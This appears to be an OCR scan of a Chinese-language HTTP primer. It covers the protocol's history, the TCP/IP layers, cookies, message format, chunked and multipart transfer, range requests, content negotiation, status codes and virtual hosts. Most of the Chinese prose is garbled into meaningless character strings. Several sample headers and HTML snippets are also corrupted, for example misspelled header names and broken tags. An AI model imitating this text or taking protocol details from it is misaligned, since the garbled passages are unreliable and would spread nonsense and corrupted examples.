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1.2 HTTP L4

TEIRANZE 2] HTTP 20, FATLRNH—TF HTTP AN =, T iE
““fﬁﬁﬂﬂ?ﬁ &1 R IH)  HTTP IV, XFEE B TRATE i3
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1.2.1 jj%ﬂ /\/\%ﬁﬁﬂﬁu Web
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R T —Fh L1 FE 9 A 78 B AT e S A H 1 15 A
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R .
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VBRI SORIAE I M HTTP 5 48 58 SRS FTZE Hukl (¥ URL (Uniform
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WWW X—ZFR, & Web /xJ"P%ﬁéiﬁﬁﬂ%m'*tzﬂimzﬁnﬁr“ H]
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1990 4 11 A, CERN IR T A L —G Web R5543F1 Web
WEs. B 199249 H, HAFE —AMuRF BT .

o HAEHE /LN
http://www.ibarakiken.gr.jp/www/

1990 4F, RZKE HTML 1.0 BEEH#4T 71118, K HTML 1.0 FHA77E
ZABIANE B 7, HEEWEBEIRST T .

e HTMLI1.0
http://www.w3.org/MarkUp/draft-ietf-i1ir-html-01.txt

1993 41 H, BN a8 i#H S NCSA (National Center for
Supercomputer Applications, 3& [E ESGEIGTTHENNHF0) BRI
Mosaic [t 1. & LA in—line (WEG 2B HTML B, 1
45 7 T H 8 1) 3 L4508 Sk A T SV R S AT TR

[ ZEFK R, Mosaic ff) Windows iz Fil Macintosh i it f# H CGI
AR ) NCSA Web 255 %% NCSAHTTPd 1.0 thZ AL R FEX AN H
LT
e NCSA Mosaic bounce page
http://archive.ncsa.illinois.edu/mosaic.html
e The NCSA HTTPd Home Page ({7#%)

http://web.archive.org/web/20090426182129/http://hoohoo.ncsa.illino
Ok e R 30

1994 4 (1) 12 H, W 58{5 227 & AT | Netscape Navigator 1.0, 1995
TECA 7] R AT Internet Explorer 1.0 £ 2.0
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W AR R 2y 2y 10 5 T St %
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HTTP T 1990 & [a] . HSES ) HTTP %/xﬁ?ﬁjjﬁﬁﬁﬁﬁ‘@%ﬁii%jo
PLAE( HTTP HS25A HTTPL.O Z B AN &, KRN
HTTP/0.9.,

HTTP/1.0

HTTP 1EXAE NFRAER AT ZTE 1996 105 A, A a2 AN
HTTP/1.0, FFic# T RFC1945. HULZYIHIR#E, (HiZ s 24
TR T2 A P AE IR 55 2 Vi

e RFC1945 - Hypertext Transfer Protocol -- HTTP/1.0
http://www.ietf.org/rfc/rfc1945.txt

HTTP/1.1
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1997 4 1 H A K HTTP/1.1 & H 5 E7 A HTTP Yl iRAS . 4011
@@%Rmm@,ZEE%%@WWM@%M%%%%%%%W

e RFC2616 - Hypertext Transfer Protocol -- HTTP/1.1
http://www.ietf.org/rfc/rfc2616.txt

AL, AR Web SCRIE SR HTTP, & IRRA ) L-F 3% S5, 8
fﬁmﬂﬂmﬂEEﬂﬂ¢,@%ﬁﬂﬁ%%ﬁ%%ﬁ$,%%@u
i H .

S5 HTTP PRCH HBLE 2208 1 M R SO AR A . bl 1 P A
S AR 8, TR B AR 2 R VAR RON T SERR
EO%EHﬂmeaﬁﬁﬁTwmﬁﬁﬁﬁmﬁﬁ,ﬁ@%ﬂ?
sz AL

1.3 M2 EAE TCP/IP

AT B HTTP, FATELEFR T #FE—T TCP/IP MUk,

A AR 2% CRLEE BB 2 4E TCP/IP Pk B 2l B 124
ff). 1 HTTP J& 1 & AR — 1> 1 5.

Bk, AU A HTTP B 75 E 428 1) TCP/IP P S0 BN ZE
AR — 2 2 % TCP/IP BIAIR, 152 HAthikf# TCP/IP £k
SEE

1.3.1 TCP/IP thiiE

THENLE W& B B TaME, XO78il s TR R 7.t
WHAT PRI RS HAs HWE— 5 At im s . A R E & 2170
{5 EFEE IS S N A T E e E . ANEREEE. BRIERGIZ
[ HRIEAS, PrA BIX — D)0 2 — MR 1 3R AT TR A AR I RR
P8 (protocol)
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IP /& 7E IP P @ S #E A8 A 2P BUR I SRR

1.3.2 TCP/IP 15 & H
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8 TCP/IP E ARG 141, bban, 5 5B R i — ANl &
%, AT BNV, BT BT SR B AR B e . T )
2 G RFEERS ) E S g iin] . 082 2 8 i D3 ki 2
JG, BNERNER T ERE Y B B s 1.

HAE—HNE, Btz E, Wit EHaxEeT. o TFNHE B
RN BT BL IR RS B CAESS, AN 75 B SRIE  5 E Bk Wi
AU X7 B AR RS 2R BAE R . TS RE A R AL Bk 1A £ n)
TCP/IP th i & 2 FIER W -

VA E D=
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TCP/IP itk A TiAF 1 #IE@E RN AR SS - ELtl, FTP (File
Transfer Protocol, CAFAEH#HY) F1 DNS (Domain Name System, 3
HRGD RS TR,

HTTP Wl tBAL T iZ /=

& 2

ii@%iﬁ FIENMAE, fEAUET SR T G T L8 s
il o

AL E A MW ANTERAFE R : TCP (Transmission Control
Protocol, f&%ufa##pi) A1 UDP (User Data Protocol, )" EidE 4K
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P25 7 (A28 BIE R

25 J2= IR AL BEAE p 2% Eimal R B . 2 A2 R 48 1% a1 e/ VAR
WAL ZRZHE IR BB (IR MR RIS BIEX 7t
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B 2R ERTEE 2 A .
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17



NEE HTTP HTTP
BFPw AR &5s8
e :
EwE TCP TCP
¢ §
T IP IP
¢ $
HIE P 48 e

FIH TCP/IP Ph SO AT M 48 B AE I, et 43 2N 55508 77 3647 18
5. K&im MM EAE T, Bl WAL N 2 1E EaE.

FATH HTTP 2861 R UL, B J0/E N K& 2% i 78 N =
(HTTP 0 & H—"EEFA Web T HTTP 153K .

B, NTARWMTE, fEEWMEZE (TCP ML MM ELU R %
& (HTTP &R0 #HAT0E], HAESNRC LI B 75 K
-5 JEH RGN E .

FEMZE R P PO, BEINENEAE B R MAC bt 5 ¥ Ak 4 5
. K, RAEMBEETE R HER T4 T

Bl ) IR S A e B B R BB, b BERE, —HBINH
E%%%ﬁﬁﬁﬁﬁ,ﬁ%ﬁﬁﬁ%%ﬂﬁ%ﬁ%ﬁ%ﬁ%%Hﬂ?
TR

18



R % iwm Heliim

BERET—FEN siRT—FEN
=y =g bl A=
HTTP IBX
AR HTTP 38 | HTTP#E |
| prepere 1
TCP &35 TCP &35
fedi/z HTTP %3 | ‘ HTTP%3E | ‘
lmﬁiﬁ@ 1‘
IP &3 IP &3
B TCP &8 ‘ TCP & 28 ‘
HTTP#E | HTTP % |
3 meszew 1
BLA M 53 LA E 3R
IP &3 |P &3
BEE TCP &R TCP &k
HTTP%E | ‘ HTTP%:E | ‘

N

RIL U E 2 '5?2@%55@5@}?55? e — BN 0 E ST E—1 %
EMENERHER. k2, Blund RS ELmider, gad—2
Hﬂ”ﬁ‘fﬂﬂ@ﬁ‘]ﬁﬁ‘mﬁfo

EAHEEAREAE BRI MUERR N3 2 (encapsulate)

1.4 5 HTTP X RE VIR P : IP. TCP Al
DNS

FTEFRATT A HER X AE TCP/IP Bh iSO A 5 HTTP A0 431 3 Nl
(IP. TCP f1 DNS) #4700

1.4.1 S sTER I TP Fril

19
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AREER BN T . MAEAT R, Aﬂ%?~ﬁ¢%m%mMMj
MR RIER N — N Hbr. XE, 2XH ARP M (Address
Resolution Protocol) - ARP s —# A LA bl s, RIREEs
%Eﬂﬁﬁﬂ%&ﬁﬁﬁ@%MﬂﬁM&

BN RE 8 4 T 48 T R A AR IR

FEREEAE HARAT R P S IIRE AR LT SEATLART % 8 55 X 2 e A
RE TR AR ) A S 24
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LA PUBHIN, LR E CH TR ISR TG, sn] ELRIE PR 2
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FriE Bk %S (Byte Stream Service) s&fg, N T Ji{EEH, KK
Hedea oy Bl DL SC B (segment) N EA EHE T & HE . 1 A]
SEML RS TR, RER PR T ML S N T . —F lillie
TCP ¥rsCN 1 25 %18 KB 410848 /0 %], 11 H TCP Vr il e
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ff PR AT BE 2138 H bR
N T HER T R MR B 23k HAn Ak, TCP PR SCRA 7 =ik F
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7 Cookie $iR. Cookie £ AT i 75 15 R A N SCH 5 N\ Cookie 15
SORFEHNE P o RS

Cookie 2 HR 45 MR 55 25 it 2325 B e 2 4% SC P B — N Y4 Set-Cookie H
B TFERER, HANE iR Cookie. 4 N IRE ) v FAF 1Z R 55 5%
ia%%iﬁﬁﬁ, B e H{EE R SCHF I Cookie 18 )5 K 1% H

HI% 5% 28 i I 2% g A6 1 R Cookie J5, =408 7t 5 2 MHF—
%ﬁi?ﬁg%ﬁ@@%ﬁﬁ% SRJEXT EEARSS 28 FHE R, &5 32 H]

o %A Cookie 15 EUIRZS T WG R

# Bf Cookie
10132 8 i A XY

.

DRFFR

ES 2

27cm R P A I0Cookie 518 E
— ﬂﬁ]m

EFim
{&#FCookie ¥ @

Cookie

Cookie
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e 2 XLLE (f£F Cookie 15 EIRE) MiER

4% Cookie

31E K hiRhnCookie 5 &%
ER o

Cookie
<% O] R

L;E%/%Tﬁi Cookie 2% H 11155, HTTP 175 3R i SC R0 37 47 521
KU

1. R (&F Cookie 15 B LIRS

GET /reader/ HTTP/1.1
Host: hackr.jp

* R B N IR A Cookie R AHIRME B

2. W N IR CARZS 253w A4 il Cookie 1 B.)

HTTP/1.1 200 OK

Date: Thu, 12 Jul 2012 ©07:12:20 GMT

Server: Apache

<Set-Cookie: s1d=1342077140226724; path=/; expires=Wed,
10-0ct-12 07:12:20 GMT>

Content-Type: text/plain; charset=UTF-8

3. R CHBNKIERAFH B Cookie 17 5

GET /image/ HTTP/1.1
Host: hackr.jp
Cookie: sid=1342077140226724

A RAF RAR ST 4 3L Cookie XTI H H 7B, S HZL)E

INE T
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3% HTTPHXAK HTTP

/TEI‘ VA

>

HTTP 815 IR G FE M i A3 AR 55 a4 i FO TR SR S MR 55 23 it 1% [B]
B M N . AT FAEIRATIR TR NS SR A N A BRI E R

3.1 HTTP X

HF HTTP P38 B HE BHR 8 HTTP 3R 3. B KIm (&) Y
HTTP & SCHH SO SRR ST, W N (i 55 A i ) [ LS W 95 3
igwﬁiﬁ%%mﬁﬁ(%Gﬁwﬁﬁﬁﬁ)ﬁﬁM&%?ﬁ$i

HTTP % SCRECA] 73 D9l SCE FRANR S EAR P B . 5 H B 7] HE A
AT (CRHLE) Kdl7r. W, A€ EZA MR,
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[ BxEE )

e ! REBRFTPEBLROERDATHRNEREY
247( CR+LF ) [CR+LF]
=iCh#LR) 4 CR{ Carriage Return, BIZEFF. 163§ 0x0d }H0
LF{ Line Feed, #f74F. 16 &) Ox0a }
+
st [ Btk ]
R % B BB

K. HTTP & 1) 45 #

3.2 T R AR L S Wi N AR ST 25 H
AT — T iR SR ST 25

""""""" ERT
R EE ER S
Z=fF(CR+LF) Mg, EEY TR
ey, SaS

?ﬁiiﬁ T Eﬁﬂ

""""""""""" RATT
RXE R T
27( CR+LF ) P BRBITE
W TR BBEER

;ﬁii{* “-‘_‘\ﬁ Hﬁb

B 3ERICSC (D AW NI SC CRD) 45
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GET / HTTP/ .1 BKT

Host: hackr.ijp

User-Agent: Mozilla/5.0 (HWindows NT 6.1; WOMWEd; rv:13.0) Gecko/20100101 Firefox/13.0.1
Boccept: text/html,application/xhtml+xml , application/xml;q=0.9,*/*;q=0.8
Aocept-Language: ja,en-us;g=0.7,en;g=0.3

Aeccept-Bnceding: gzip, deflate

DNT: 1

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache EREEIRES

Zf7(CR+LF)

HTTP/1.1 200 OK ARASTT

Date: Fri, 13 Jul 2012 02:45:26 GMT

Server: Apache

Last-Modified: Fri, 31 Aug 2007 02:02:20 GMT
ETag: "4b5bael-léa-46d77éac”

Accept -Ranges: bytes

Content-Length: 2462

Connection: close

Content-Type: text/html ZHEHFE

Zf7{ CR+LF)

<html xmlns="http://www.w3.org/1999/xhtml ">

<head:>

<meta http-equiv="Content-Type" ccntent="text/html; charset=utf-g" /-
zstitleshackr.jp=z/title>

</heads>

<body =

<img src="hackr.gif" alt="hackr.jp" width="240" height="84" />

=/body>

</html > WX E &

Bl iSRS (R FImgRAR ST CF ) # SE41

T SRR SORII N3 ST 8 B 2 B DN Bs 4. IUAE B 25
A BRI AS R R Ja 2 AT T 3

HRAT

A5 HTIERM T, 153K URI AT HTTP fRCAS
REAT

B 3R B e B 45 R IAPIRAS S, R PR R TR AT HTTP WA
R

BB ZER U SROBIE L P 25 Aol S A1 0 Jog 1 ) % 2K 1
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—RAA A MER, onle: EAEE. EREER N E RS E

i
HAth

A REf & HTTP i) RFC B R E XK EH (Cookie Z)

3.3 Zmhg i L R

HTTP fEAR S EE I v] L3 s IR 3 BB 4, (R0 m] DLAEAR fanid
A R g A TR A R . AR I gD, BEE AU E K =
7RG R Hag, mbiSrEEf Z it ER TR, Bt HAEE 2
[¥] CPU 55t
3.3.1  HROCERMSLAR FARR ZE 7

e L (message)

J& HTTP A5 H R REA AL, H 8 45159 (octet sequence,
Hrt octet 7y 8 ANLUAF) AL, JEId HTTP i {E1E %

o SZfR (entity)

PEOIE SR el B G R Al (AhSE I etk dar, FLPy A Hise
PR AT S AR AR AL o

HTTP i SCH) 348 FH AR5 SR el o i) s iR 248

WH, WOCERSE TSR T AT S AT Wi R, SeiR
ER R AR, A FECENIRSCEREZE ST

AN SR DN ARIEIEZ Ja AW WL, S F R & 25 .
3.3.2 B4 B A g i

[ R RIS MR S INBR PRI, O T ARSI AR, AT e ZIP
FE48 SO 2 5 BRI AE & 3% . HTTP B0 — Rl AR A P 254 5
FRIThHE tHREHEAT R R A

N i W N P AE SEAR N A B G fidis o, IR ORI SRS B R AR
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Ao WA GMAY 5 SR 2 P s B OT 7 ot il .

CETrE /
e’“E % -JJIHH

\

QR’>

-

& P i fR&5 28

K. N Y
N A A LLUT JLRH

e gzip (GNU zip)

o compress (UNIX R 4 1) b 4 5 48 )

o deflate (zlib)

o identity (ANiEAT4wAL)
3.3.3 o HFIKIEW 73 B f g 15
{E HTTP JE{SRE A, T RS0 A% SEAR B 1) R A= il A fi e B i,
U P TN NN TR G R L TN =% &/ 10 O i b I 4 /a1
Z Y, BERg LR AHE L R DU .

XA SEAR FAK 7 B TR 9 7 Bl fmdm s (Chunked Transfer
Coding) -
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ral . -h\l ey =g ol

536 L1k 1K 4 BUFE /N Ebadihiire

| EmA ) #( chunk )
\‘g.lj I

B A i i 5

YA S 2K SEAR AR 2 A (B o B BRERS IS
BRI RARICIRII RN, 0 SEAR AR 55 — B2 A8 FH “O(CR+LF)” Kb
o

A5 FH 0 A A i ) P SR T2 A 2 FR 30 AL R 850 P i A DR AL, VR AR 38
R R A SRR AR

HTTP/1.1 HAFAE— PR tE st (Transfer Coding) HIHLH, EWT
DATE I AS I % 3 mh g 07 S48 5, B R @ XUWERH T o vk imdmad .

3.4 RIEZ TG Z MR RES

I |

m |
IR
J MIME Z NN RES

RABMBARIT,  FRATTAT AR MR B 5 A IR 2 o i . X2
KH T MIME (Multipurpose Internet Mail Extensions, 2 F i [RI4 P4 HIE
PRy R MU, & RVFHRF R BESCAR . Bl IS 2 A AR 2R
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Bl Blhn, 1S kil L ASCIT 5 5447 85 4 i (1) 7 23R B

Hte A H MIME SREGRPMCE ISR . Mi7E MIME 37 J o & 5] —

ggﬁ?ﬂ%%ﬁﬁj\ﬁ %54 (Multipart) HIJ5i%, RENZ A FZET K
M2z EO

FAR, HTTP PrdCh Rgy 7 280 REE, KIS R ICE
TR RS 2 KA SR . 3l H AR B R BOCA SRS EAR AR

DX RESH TN R T
e multipart/form-data
£ Web 5 EAR IS A
e multipart/byteranges

RZASHY 206 (Partial Content, S84 A ) WNR AAE T E2MNE
1N B o

o multipart/form-data

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03x
Content-Disposition: form-data; name="fieldl"

Joe Blow

--AaB03x

Content-Disposition: form-data; name="pics"; filename="filel.txt"
Content-Type: text/plain

. (filel.txtiEHE) ...
--AaB03x--

e multipart/byteranges

HTTP/1.1 206 Partial Content

Date: Fri, 13 Jul 2012 02:45:26 GMT

Last-Modified: Fri, 31 Aug 2007 02:02:20 GMT

Content-Type: multipart/byteranges; boundary=THIS STRING SEPARATES

——THIS_STRING_SEPARATES
Content-Type: application/pdf
Content-Range: bytes 500-999/8000
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.o (EEfRER B ...
—--THIS STRING_ SEPARATES
Content-Type: application/pdf
Content-Range: bytes 7000-7999/8000

o GEEARE M) ...
--THIS_STRING SEPARATES--

£ HTTP OCH I Z2 50 M REGR, FEAEHFEE N L
Content-type. A RIXNEHFHFE, WAIHGEIHE.

1 ] boundary 745 5 KX 43 2 0 X REE S R I 228524k . 1E
boundary “FAF 5 18 &S AR AR L6147 2 B4 A -kt (Flan: -
-AaB03x. --THIS STRING SEPARATES) , it 7%t 44 %t
N5 R R S Al --"kRad (B : --AaBO3x-- --
THIS_STRING SEPARATES--) 1E R4,

2 REA AR, #aT LS A E B, A4, w1l
PDLTE AN i B 25 RES. AREMONRELST
MRS, 1ES7% RFC2046.

35 SREGH S P PR o

DA,  FH AN RE A FH AR TXOM ey 1 i B U R ELIR Y, 5N, R 3—
RSP RIE F 8CE R ARIZ 77 1 tn SR T30S R il 21 N 4%
BT AL, LN E ST G . A T Rk Bl R, FR e
SN B E 2 Taae M 7T T B Wb 2 T %

FSLWIZ DI RE TR Z T8 € PR SARTu . BRI, 8 VO R HIE
SRS EIE R (Range Request)

XF—4 10 000 7 K/ANI BV, A HYEERE R, v PLR R
5001~10 000 =75 PN FRBR U
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GET /tip.jpg HTTP/1.1
Host: www.usagidesign.jp
Range: bytes =5001-10000

HTTP/1.1 206 Partial Content

Date: Fri, 13 Jul 2012 04:39:17 GMT
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

Content-Type: image/jpeg

T BRI, 22 P50 % 05 B Range A & VHIRIN byte 1.
byte 5 R R TR A F

e 5001~10 000 =7

Range: bytes=5001-10000

e M 5001 715 2 Ja 4 E )

Range: bytes=5001-

o M\—TJF44 3 3000 == A1 5000~7000 = i [t % = 5 [H

Range: bytes=-3000, 5000-7000

ERXHa ISR, M B 2R AR AR AS 4 206 Partial Content 47 b
Lo hh, T2 EIEEVEETER, RN 2 E 1§ B Content-
Type #5BH multipart/byteranges & % [5] Wi i % 32 o
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R AR 55 A8 v oVE M N YE R =K, iR IR S 200 OK H1 58 #E 1)
SEAR N2

3.6 AR ] AIE B A A

5] — Web WA 1] BEAEAEE 20 M R NS UL - b8 U5 fi ol
HR SO Web T, EAITA A EEAME, (B8 HES AR,

VA I ERAE B v eiE sih g, Vil AR (A URI ] Web TLTHIEY,
Y| S 7 o I PR SR B B A SRR Web DTRT o SRR AL A1 R Dy A 28
PR (Content Negotiation)

A RBEHREES HFIE
D

AR B ES AP

Google
i —

Gy b 08 FYFRL

Google

Geimd b Beanoi Fim Feading: Lucky

BTHEENE

B E
Kl: 511 http://www.google.conv
PN 25 W B ATL ) 2 8 25 P v R R 55 4 i )L 0l 2 P 55 00 N S 1R AT A 5\)‘
JE TR AL 2 P i B N IE A I BRI . A P 2 LA N B R A
FFEE . gt 7 TCEEAE I e X R

BEAEE RO R T J B (AR 2R g 2k ifE . XL E
M BURHE I 2% — &

o Accept

o Accept-Charset
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http://www.google.com/

e Accept-Encoding

o Accept-Language

e Content-Language
NEDRETARAF LT 3 FhREL,
AR 55 28 WK 1375 (Server-driven Negotiation)
RS s im AT W T . BUERIE B FBONS 5, (ERkS&im H
NI . AEXTH PR, DA R A AOE A BAE N HDE BIMkHE, IFA
— JE BEIHIL H R LN A
B IRE R ( Agent-driven Negotiation)
25 7 G BEAT N A PR B 7 200 FH P DA D8 28 S 7 B AT e T 47 3 -
Bk, AT LUHH JavaScript BFIASEE Web LT F H 2hiE 4T Fididk
o Hndz OS HR A W AR 28R, BAT YR PC i 7 BTl
FR LT o
Z B RE  (Transparent Negotiation)

s AR S5 A XN AN 2 i X B R A5 54, A2 P AR 55 s i AR P i 2% 32E
T BRI —Fh 5%
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%45 REIZEREEK HTTP RS
)

HTTP RS 57 K7~ % P i HTTP 5K (IR 145 5. bric IR S #e v
PR EE RS IR . A I ER S TAE. ihFATEE A= 222,
I T R — RS TAENLH .

4.1 RS T RIMR 55 4% v iR [B] Y 1 SR 45
IRASTL I BT 21% P3h F0FR 5 B BO R IV, I P 0 R

o AEBIRESRY, AT EURIE AR 95 a5 i 2 1R 5 ACEE ISR, 2
BT R
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EH. KA 2XX

R Ry

HMBERE?

iR AREEAXX, BXX

AR5 &8

P e ) 7 R bR 25 A AT A U SR A Ab 3 25 B
RGN 200 OK, LA 3 A H0 7 A0 Jt PR 46 1 2H 3 o

B s —fArfe e VRS, RN K. MRSEAIA LR 5
o

K 4-1: RS )25

Kl JiR PR 1
IXX  [Informational ({5 S MIRZAHE) FRUCIIE SR IEE AL B
2XX  |Success CHLIPRASTE) T R 1B AL B 58 HE
3XX |Redirection (E i [AHRARAS) T EEHAT B IR AE LS A SR

4XX |Client Error (& P imiEmetRASIE) | RS 28 Lk HE K
5XX |Server Error (AR5 #5551 RS | ARSS 23 A0 HE1E R HH &

HEE ARSI 1) 5E 3, B AE RFC2616 H15E IR,
AR 55 s i E AT QAR S AT B ) L

fIESRTE RFC2616 L [¥) HTTP ARZSAG AL 40 F, £ F0 b

WebDAV (Web-based Distributed Authoring and Versioning, &1 /7 4EX

oA SRAEFRAIE 6D (RFC4918. 5842) AN HTTP R A5
(RFC6585) %54 e, HEmtik 60 RFp. MEMKEZL, Sibs L&

AR RE 14 B0, 2Tk, BATHANAA— TR EAREME

14 4IRS .
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4.2 2XX &I
2XX P N 25 B2 B SR A 1R AL EE T,

4.2.1 200 OK

ke EF WiE
..... \’

& P i 235k TF % 4 5K B 200 OK AR 4528
RN MW i I R BTG SRAE R 55 28 S 4 1E AL T

FEM N AR ST, BEAR S — 2R 0] (45 B 2 R 5 IS AN R T R 2B 2
AZo beln, M8 GET Jivkit, S Riis SR BRI SEAR 2 AT D9 B ik
[B]; T A HEAD J5iAR, X6 B3R KBS 1 S48 & A BE R L T2 44
PRy Lk m] - CRAAE R B e SRR B PEA,  AS 2l [B] SR Y 3 4 7S

)

4.2.2 204 No Content

sk En!
B3 EF:FolkED

TR RSS2 A SR O IR 3, (BAE IR [ i i B 4 S
SESARE EAARTE . BAN, WA VIR BT AR SEARE AR . Hean,
%%Zﬂ%fﬁtﬂ%ﬁwﬁ}é, IR [B] 204 MR, HE 250 28 27 i UL
ANKRAETH

—HRAE R F RN AR 55 s RORAE R, N %5 i A T RIS B
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R NARTROL N

4.2.3 206 Partial Content

BHa! BExE:BY -
‘ # 9 e idk
SEENEK

R D

ORGSR R 2 i AT 1 VBTSSR, T AR 55 48 AT 1 IXER 3 (Y
GET %2R . M R4k SC L7 F Content-Range $i 78 Y [ [#) S2 AR P 25

4.3 3XX HEM

3XX M L 45 SRR B0 25 7 EEPHAT T B Re R ) AL B DL I AL RS
Ko

4.3.1 301 Moved Permanently

TR urRl B E35. Mith &
ST E TP LMoL

> @

B P i FR 4538

IKANEEE ). ARSI RR TR A BEIR O AC 18R URL, PUJE
WA SR ILE BT HE A URL. B2, Wi e BEY0T B Y URT
TRAF NPT, IXBRI1XI%E Location B #7-BLHE 7 1) URT H iR A7

BN e HRIE SR URL, 2476 € BRI B i G s iC s IngAL«”,  wit
27 301 RS,

BEHTHE

http://example.com/sample
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4.3.2 302 Found

T:Ba URl Bilet R E
BwmBE 3. B EME
RuFx+ER 3.

I B2 %

IS PE B E 1] o RS AS RS TE R I BHIR CA L 78 URLL 7 82
FIP RO BEAE AT URT U5 1)

A1 301 Moved Permanently RAASAHL, {H 302 PRI ZIEA
WK AKEE), HZMER R . $er)ugid, CFE3) ) TEIRxN N 1
URL R E R RE KA. i, B/ URLARAERCEESE, (HAS
18 301 IRZSHD W BN ARAE 25 B8 1545, 243 1H PR EF R[] 302 ARZSHD
4 U2 T % M2 URT

4.3.3 303 See Other

WBH Rl B8, MET
s ed e 3ndb URI 3197

IR S B T3 3RO N B SR A E4E 53— URTL, AL GET
T35 € ) 3R BUE R ) B o

303 MR AN 302 Found RS A EAHIF I DIEE, (H 303 RN B
RN N 2K A GET VAR R, X A5 302 RS A X
Al
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tbtn, 4fFH POST 7kl CGL 27, HAITE b HSE 2 A
& FimAe L GET 1A € 2] 75— URL B0, iR[A] 303 IRE&
1. AR 302 Found IR W AT PLSEHUAH R AT B8, (21X BAE R 303

DRAS D f B AR . ]

1 AFRA K HITP/1.1, 1422 HTTP/1.1 i LART A3 50 28 AN BE IE A BRAR 303 IR
S, EIR RFC 1945 F1 RFC 2068 FIYEA Fo 142 F i 7 5 32 [A) I e 38 1 >R 1 7
%, BRIRZ AN YA 302 MR 303 M, Jf HAEHA GET J7 5 Al fE
Location " EUE ) URIL, 1 EAL R SG1E R B 77 7. AT AMEE ULIX BLAEH 303 /&8
ARy, —PEETE

24301, 302+ 303 M RORASISIR [BIEF,  JUFFrA ol i 28 #5240
gggﬁ&Gmy#%%%Xﬁiwmiw,ZE%ﬁ%aﬁﬁw

301, 302 bptER22 16 POST J7kciZ il GET J7vE ), (HSZpRfE
FH B R KB ik A5

4.3.4 304 Not Modified

BHERES
AR AT RN 7 Ui RO PR s 2 P (18 R 2 I, IR 55 # s 70 VPR SR Uy
A B, ARSI DL 304 IRASTDIR FIRT, AL AT AT e
HI ARy . 304 BARMRN 70 7E 3XX KA, (HEANEH JE [ K

o

2 Bis 2R HIE SR A2 HE K A GET J7 B3 KA S5 If-Match,  If-Modified-
Since, If-None-Match, If-Range, If-Unmodified-Since H/E—1 &5

4.3.5 307 Temporary Redirect
Iy B E 18], ZARAES S 302 Found A& AHF K o /R 302 AR
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A% 1| POST 254 )% GET, {HSEZBrE FHE KK IFAEST

307 2GR YE B bR e, Ao M POST 28R GET. 1H2, X T 4b¥ns
NS HIAT N, BRI Y 28 A v e H AN [R]) A7 I

4.4 AXX ) im A iR
AXX RS S % P S R AR IR R T

4.4.1 400 Bad Request

KL EERE G
k. BERREEHI?

AR RN RO PAFAE AR VR SRR, B S0ER
HIA A FHRORIETE K. Hoh, WIEAE 1R 200 OK —FEXFFZ RS
6—%0

4.4.2 401 Unauthorized
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FRERIAE

2 RIRE 401

_ TATIE 22 T
( 153kt B84 Authorization
credentials ) /

Authorization Required

This server could not verify that you are authorized to
access the document requested. Either you supplied the
wrong credentials (e.g., bad password), or your browser
doesn't understand how to supply the credentials required.

ARSI R IR ROEE K 75 EA 8L HTTP AUE (BASIC A
DIGEST AiE) IR R . R 2 arcdtirid 1 gk, NRIR
FH P AAE SR,

R[E S 401 e B AL B — AN B T 45 SR R 5 ) WWW-
Authenticate B 3B LU #] (challenge) G E.. 24 W20 2
2 401 MR, SR H AR T AT B

4.4.3 403 Forbidden

A fLiF b s 4
.';.-E E[ﬁn?:]

A 55 28

IR R W17 SR SR AU I 5 55 A A0 48 1 o RS54 {50 AT 4 22
IR R d, HA SRR U R, R DU SR ) AR A )
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Xf R R BEAT F IR, IXAFEtAE L P B R T

ARG AF RGERI VT RHZAL, U5 [RIBPR B I ) ORI
AR TP MR B VTR S 2 A TS BLAR AT fE 2 K 22 403 B JR AL

4.4.4 404 Not Found

Not Found MER L2 B d kTR

The requested URL /a was not found on this server.

Ak 5538

RS R IR 55 a8 ERIRBNE R Fritzsh, tn] IRk
55 f iR 415 SR HANAE U I 22 s A

4.5 S5XX R A4t iR
SXX I N 45 B R B AR 55 g A B K AR A R

4.5.1 500 Internal Server Error

S dhBF:RE

RS R IR 55 S dm AE AT TR SR IN A E T fF iR . A AT BEE Web
N FAFAE ) bug B 1w I ) b

4.5.2 503 Service Unavailable
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¥y, WEKEICE

AR B IR 25 4 B I A 18 T B B EAE BT IS AL 484, BAETCIA
SEERVE R o WIER SR AR RR DL EAROLFR Z N R, &IEFB A
RetryAfter B #7 B IR [B1 45 %5 - i o

RSB AR DL B A — 2
AN R[] RIRZS A i B AR 2 B UR Y, AE T A REE DA B M

i Web SRR P 8 R A48 R, IRASTER SRz [A] 200 OK, X Fir
B A E BT,
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5% 5 HTTP th/EH Web fik

& Web 5548 n] #5562 M7 AZ 1) Web Pl , ] {F D918 (5 %
12 BB R AR 55 de S TR R AR

51 MFGEMTILEI 2 A4

HTTP/1.1 MU ALV — & HTTP RSS2 f5 & 21> Web uhimil. Hoan, $2
it Web FL& Ak %5 (Web Hosting Service) HIfEN TR, A LAH— GRS
RNZAIR RS, WA LAV P fr A A s 1T 2% B AN E R
Vo XARENFH T BTN (Virtual Host, X FREIRSS 2% 1T

PN
At o

HME BRI AE — 5 ssas, HRZAHELENLKZhEE, Way Ll
BECHAFZ GRS .
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BEHLEM
www . hackr.jp

iEE AR 28 =
-
Chi e
" mmm mEW "

RE HLEH
xss.hackr.ip

2 P ) HTTP PRl I AR 55 as B, 2285 R A 250 www.hackr.jp
IXFE FENL A AR

FERIRM E, 344381 DNS Ak 55 W 21 1P bt (A it 2 Javi
o) AR e AT, AT SRIE B IRGS A , C 22 bl IP bkt
il 1

Frbh, WR—&RE#BNTEE T www.tricorder.jp 1 www.hackr.jp 1X
PN AL, S B0TE SRIN A 75 22 5 S R T S BT I RN 44

R4 2

# www.tricorder.jp Fl www.hackr.jp B B 28 B E B — MR &
R E(AAEEIPHILE ), EEDNSREBRIEL G, BENH
@ IPHhitSAB =,



FEAHIE A TP bk N, BT AL AT AR5 A7 2 AN R R4 A4
) Web Pk, DRIGFERIE HTTP G KIS, WAZUFE Host B N 58 545
7€ ENLA B 44 1R URL

52 EEHIERAER - ARE. MR, [B
"

HTTP @51, BR% P imAR sS4 LA, e — S Tl E ek
HIN AR, IR, ISCAHIRETE . EATR] LABC & k554 AR

X RE PP AR 55 4 AT ARG I SR 3 A 4 A5 2l B R —ub AR SS
%, JF HLBERRMSUMR 65 1k 55 % 328 1A Vi) 7 P2 40 2 ) i o

AR

REE—MERE KB N R, B9l | AT iRk as 2 -

g FR BN B €, ST E 2 7 i A8 B SROT e 4 iR 55 s, RIS
ISR 55 e AR ] P Wi 2 5 5 25 %5 7 i

BES

P 9 e oAt i 5 28 A5 2 RO AR S5 4, WSO e 7 i R R I T
RIS, EwR B A BIRAIRAR ST 4% FEXT T SR EEAT A . I
